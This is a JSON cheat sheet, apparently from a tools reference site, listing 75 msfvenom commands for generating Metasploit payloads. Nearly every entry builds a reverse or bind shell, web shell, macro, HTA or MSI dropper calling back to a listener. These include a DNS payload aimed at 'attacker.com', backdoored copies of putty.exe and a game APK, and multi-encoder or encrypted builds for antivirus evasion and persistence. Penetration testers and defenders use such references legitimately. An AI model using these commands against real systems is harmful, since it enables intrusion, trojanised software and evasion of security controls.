{"tool":"msfvenom","name":"msfvenom","description":"Metasploit’s payload generator and encoder: builds shellcode, executables and scripts for many platforms and formats.","tags":["payloads","shellcode","Metasploit"],"homepage":"https://www.metasploit.com","docs":"https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html","install":{"apt":"sudo apt install metasploit-framework"},"related":["metasploit","msfconsole"],"total_commands":75,"commands":[{"id":1,"category":"Basic Listing","command":"msfvenom -l payloads","example":"msfvenom -l payloads","explanation":"Lists all available payloads supported by the framework."},{"id":2,"category":"Basic Listing","command":"msfvenom -l encoders","example":"msfvenom -l encoders","explanation":"Lists all available encoders for payload obfuscation."},{"id":3,"category":"Basic Listing","command":"msfvenom -l formats","example":"msfvenom -l formats","explanation":"Lists all supported output formats for executables and shellcode."},{"id":4,"category":"Basic Listing","command":"msfvenom -l platforms","example":"msfvenom -l platforms","explanation":"Lists all target platforms available for payload generation."},{"id":5,"category":"Basic Listing","command":"msfvenom -l archs","example":"msfvenom -l archs","explanation":"Lists all processor architectures supported for payload generation."},{"id":6,"category":"Basic Listing","command":"msfvenom -l encrypt","example":"msfvenom -l encrypt","explanation":"Lists supported encryption algorithms for payload protection."},{"id":7,"category":"Windows Payload Generation","command":"msfvenom -p windows/exec CMD=calc.exe -f exe -o calc.exe","example":"msfvenom -p windows/exec CMD=calc.exe -f exe -o calc.exe","explanation":"Generates a basic Windows executable that runs the calculator application."},{"id":8,"category":"Windows Payload Generation","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe","explanation":"Creates a stageless Windows reverse TCP shell executable."},{"id":9,"category":"Windows Payload Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o meterpreter.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o meterpreter.exe","explanation":"Generates a staged Windows Meterpreter reverse TCP executable."},{"id":10,"category":"Windows Payload Generation","command":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o agent64.exe","example":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o agent64.exe","explanation":"Creates a 64-bit Windows Meterpreter reverse shell executable."},{"id":11,"category":"Linux Payload Generation","command":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf","example":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf","explanation":"Generates a 32-bit Linux ELF binary for a reverse TCP shell."},{"id":12,"category":"Linux Payload Generation","command":"msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf","example":"msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf","explanation":"Creates a 64-bit Linux ELF binary for a bind TCP shell."},{"id":13,"category":"macOS Payload Generation","command":"msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho","example":"msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho","explanation":"Generates a macOS Mach-O binary for a reverse TCP shell."},{"id":14,"category":"Android Payload Generation","command":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk","example":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk","explanation":"Creates an Android APK package containing a Meterpreter reverse shell."},{"id":15,"category":"Web Payload Generation","command":"msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php","example":"msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php","explanation":"Generates a raw PHP file containing a Meterpreter reverse shell."},{"id":16,"category":"Web Payload Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp","explanation":"Creates an ASP web shell payload for Windows IIS servers."},{"id":17,"category":"Web Payload Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f aspx -o shell.aspx","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f aspx -o shell.aspx","explanation":"Generates an ASPX web shell payload for modern Windows IIS servers."},{"id":18,"category":"Web Payload Generation","command":"msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.jsp","example":"msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.jsp","explanation":"Creates a JSP reverse shell payload for Java application servers."},{"id":19,"category":"Web Payload Generation","command":"msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war","example":"msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war","explanation":"Packages a Java reverse shell into a WAR file for deployment."},{"id":20,"category":"Scripting Payload Generation","command":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py","example":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py","explanation":"Generates a Python script containing a Meterpreter reverse shell."},{"id":21,"category":"Scripting Payload Generation","command":"msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh","example":"msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh","explanation":"Creates a Bash one-liner reverse shell for Unix-like systems."},{"id":22,"category":"Scripting Payload Generation","command":"msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl","example":"msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl","explanation":"Generates a Perl script one-liner for a reverse shell."},{"id":23,"category":"Shellcode Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c","explanation":"Outputs the payload as a C language byte array for source code embedding."},{"id":24,"category":"Shellcode Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py","explanation":"Outputs the payload as a Python byte string variable."},{"id":25,"category":"Shellcode Generation","command":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw","example":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw","explanation":"Outputs raw binary shellcode directly to stdout."},{"id":26,"category":"Shellcode Generation","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hex","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hex","explanation":"Outputs the payload as a hexadecimal string."},{"id":27,"category":"Shellcode Generation","command":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f csharp","example":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f csharp","explanation":"Outputs the payload formatted for C# source code."},{"id":28,"category":"PowerShell Payloads","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1","explanation":"Generates a PowerShell script containing the payload."},{"id":29,"category":"PowerShell Payloads","command":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh-reflection -o payload.ps1","example":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh-reflection -o payload.ps1","explanation":"Creates a PowerShell script using reflective injection techniques."},{"id":30,"category":"Advanced Encoding","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe","explanation":"Encodes the payload using the Shikata Ga Nai encoder."},{"id":31,"category":"Advanced Encoding","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_3x.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_3x.exe","explanation":"Iterates the encoding process 3 times for increased obfuscation."},{"id":32,"category":"Bad Character Handling","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\" -f c","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\" -f c","explanation":"Generates shellcode excluding the null byte (0x00) bad character."},{"id":33,"category":"Bad Character Handling","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\\x0a\\x0d\" -f python","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\\x0a\\x0d\" -f python","explanation":"Generates shellcode excluding null, line feed, and carriage return characters."},{"id":34,"category":"Architecture Specific","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --arch x86 --platform windows -f exe -o x86.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --arch x86 --platform windows -f exe -o x86.exe","explanation":"Explicitly sets the architecture to x86 and platform to Windows."},{"id":35,"category":"Architecture Specific","command":"msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o arm64.elf","example":"msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o arm64.elf","explanation":"Generates a payload for 64-bit ARM (AArch64) Linux architectures."},{"id":36,"category":"Architecture Specific","command":"msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o router.elf","example":"msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o router.elf","explanation":"Creates a payload for Big Endian MIPS architectures, common in routers."},{"id":37,"category":"Template Injection","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoor.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoor.exe","explanation":"Injects the payload into an existing executable (putty.exe) as a new thread."},{"id":38,"category":"Template Injection","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_keep.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_keep.exe","explanation":"Injects payload into a template and attempts to keep the template functional."},{"id":39,"category":"Template Injection","command":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x game.apk -o game_backdoor.apk","example":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x game.apk -o game_backdoor.apk","explanation":"Injects an Android payload into a legitimate APK file."},{"id":40,"category":"NOP Sleds","command":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -n 20 -f elf -o nop_sled.elf","example":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -n 20 -f elf -o nop_sled.elf","explanation":"Prepends a NOP (No Operation) sled of 20 bytes to the payload."},{"id":41,"category":"Advanced Configuration","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=thread -f exe -o thread_exit.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=thread -f exe -o thread_exit.exe","explanation":"Sets the ExitFunc to 'thread' to avoid crashing the host process upon exit."},{"id":42,"category":"Advanced Configuration","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=process -f exe -o process_exit.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=process -f exe -o process_exit.exe","explanation":"Sets the ExitFunc to 'process' to kill the entire process upon exit."},{"id":43,"category":"Variable Output","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c -v my_sc","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c -v my_sc","explanation":"Outputs C shellcode with a custom variable name 'my_sc'."},{"id":44,"category":"Payload Size Optimization","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 --smallest -f exe -o small.exe","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 --smallest -f exe -o small.exe","explanation":"Attempts to generate the smallest possible payload using header optimization."},{"id":45,"category":"Format Mixing","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | msfvenom --arch x86 --platform windows -e x86/shikata_ga_nai -a x86 -f exe -o piped.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | msfvenom --arch x86 --platform windows -e x86/shikata_ga_nai -a x86 -f exe -o piped.exe","explanation":"Pipes a raw payload into a second msfvenom instance for encoding."},{"id":46,"category":"Encryption","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt rc4 --encrypt-key s3cr3t -f exe -o rc4.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt rc4 --encrypt-key s3cr3t -f exe -o rc4.exe","explanation":"Encrypts the payload shellcode using RC4 with a specified key."},{"id":47,"category":"Encryption","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt aes256 --encrypt-key 1234567890abcdef1234567890abcdef -f exe -o aes.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt aes256 --encrypt-key 1234567890abcdef1234567890abcdef -f exe -o aes.exe","explanation":"Encrypts the payload using AES256 for basic static evasion."},{"id":48,"category":"Service Binaries","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe-service -o service.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe-service -o service.exe","explanation":"Generates a Windows executable designed to run as a background service."},{"id":49,"category":"Dynamic Link Libraries","command":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll","example":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll","explanation":"Creates a 64-bit Windows Dynamic Link Library (DLL) payload."},{"id":50,"category":"VBA Macro","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba -o macro.txt","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba -o macro.txt","explanation":"Generates VBA code suitable for embedding in Office macros."},{"id":51,"category":"VBA Macro","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba-exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba-exe","explanation":"Generates VBA code that drops and executes an embedded EXE."},{"id":52,"category":"HTTP/HTTPS Payloads","command":"msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.10 LPORT=80 -f exe -o http_shell.exe","example":"msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.10 LPORT=80 -f exe -o http_shell.exe","explanation":"Creates a Meterpreter payload that communicates over HTTP port 80."},{"id":53,"category":"HTTP/HTTPS Payloads","command":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o https_shell.exe","example":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o https_shell.exe","explanation":"Creates a Meterpreter payload that communicates over HTTPS port 443."},{"id":54,"category":"Custom Options","command":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 SessionCommunicationTimeout=0 ExitOnSession=false -f exe -o resilient.exe","example":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 SessionCommunicationTimeout=0 ExitOnSession=false -f exe -o resilient.exe","explanation":"Configures advanced session timeout and exit behaviors for the payload."},{"id":55,"category":"Alphanumeric Shellcode","command":"msfvenom -p windows/exec CMD=calc.exe -e x86/alpha_mixed -f c","example":"msfvenom -p windows/exec CMD=calc.exe -e x86/alpha_mixed -f c","explanation":"Encodes the payload to use only alphanumeric characters."},{"id":56,"category":"Ruby Payload","command":"msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb","example":"msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb","explanation":"Generates a Ruby script reverse shell."},{"id":57,"category":"NodeJS Payload","command":"msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.js","example":"msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.js","explanation":"Generates a NodeJS reverse shell script."},{"id":58,"category":"HTA Payload","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hta-psh -o evil.hta","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hta-psh -o evil.hta","explanation":"Creates an HTA file that executes PowerShell code."},{"id":59,"category":"Msi Payload","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f msi -o install.msi","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f msi -o install.msi","explanation":"Packages the payload into a Windows Installer (MSI) file."},{"id":60,"category":"Shellcode Buffer Register","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 BufferRegister=EAX -f c","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 BufferRegister=EAX -f c","explanation":"Configures the shellcode to expect its own location in the EAX register."},{"id":61,"category":"IPv6 Payload","command":"msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=fe80::20c:29ff:fe11:2233 LPORT=4444 -f exe -o ipv6.exe","example":"msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=fe80::20c:29ff:fe11:2233 LPORT=4444 -f exe -o ipv6.exe","explanation":"Generates a Meterpreter payload utilizing IPv6 for the connection."},{"id":62,"category":"Prepend Migrate","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o migrate.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o migrate.exe","explanation":"Adds stub code to automatically migrate the payload into a stable process."},{"id":63,"category":"Multi Encoder Chain","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 2 -f exe -o chained.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 2 -f exe -o chained.exe","explanation":"Demonstrates chaining multiple encoders via piping for complex obfuscation."},{"id":64,"category":"Java Payload","command":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f jar -o payload.jar","example":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f jar -o payload.jar","explanation":"Creates a self-contained Java JAR file payload."},{"id":65,"category":"DNS Payload","command":"msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.com LPORT=53 -f exe -o dns.exe","example":"msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.com LPORT=53 -f exe -o dns.exe","explanation":"Generates a payload that tunnels traffic over DNS to evade firewalls."},{"id":66,"category":"Python Bytecode","command":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | python3 -m py_compile -","example":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | python3 -m py_compile -","explanation":"Generating raw python payload and compiling it to bytecode immediately."},{"id":67,"category":"Raw Shellcode Injection","command":"msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin","example":"msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin","explanation":"Outputs raw binary shellcode to a file for custom loader development."},{"id":68,"category":"Red Team Delivery","command":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f psh-net -o net_delivery.ps1","example":"msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f psh-net -o net_delivery.ps1","explanation":"Generates a PowerShell script format suitable for network-based reflection."},{"id":69,"category":"Blue Team Testing","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o test_signature.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o test_signature.exe","explanation":"Creates a standard payload to test antivirus signature detection rates."},{"id":70,"category":"Blue Team Testing","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o test_heuristic.exe","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o test_heuristic.exe","explanation":"Creates a highly encoded payload to test heuristic analysis engines."},{"id":71,"category":"Exploit Dev","command":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f js_le","example":"msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f js_le","explanation":"Outputs payload as JavaScript Little Endian for browser exploit dev."},{"id":72,"category":"Exploit Dev","command":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\" -f dw","example":"msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b \"\\x00\" -f dw","explanation":"Outputs payload as 'dword' format for buffer overflow construction."},{"id":73,"category":"Format Listing","command":"msfvenom --list-options -p windows/meterpreter/reverse_tcp","example":"msfvenom --list-options -p windows/meterpreter/reverse_tcp","explanation":"Lists all configurable options for a specific payload."},{"id":74,"category":"Combined Advanced","command":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b \"\\x00\\xFF\" -f c","example":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b \"\\x00\\xFF\" -f c","explanation":"Combines encoding, iterations, and bad character filtering in one C output."},{"id":75,"category":"Combined Advanced","command":"msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 --encrypt aes256 --encrypt-key 1234567890abcdef -f exe-service -o service_enc.exe","example":"msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 --encrypt aes256 --encrypt-key 1234567890abcdef -f exe-service -o service_enc.exe","explanation":"Generates an encrypted 64-bit HTTPS service binary for maximum persistence."}],"slug":"msfvenom","category":"exploitation","url":"https://terminal.rokibulroni.com/tool/exploitation/msfvenom","markdown":"https://terminal.rokibulroni.com/api/v1/tools/exploitation/msfvenom.md"}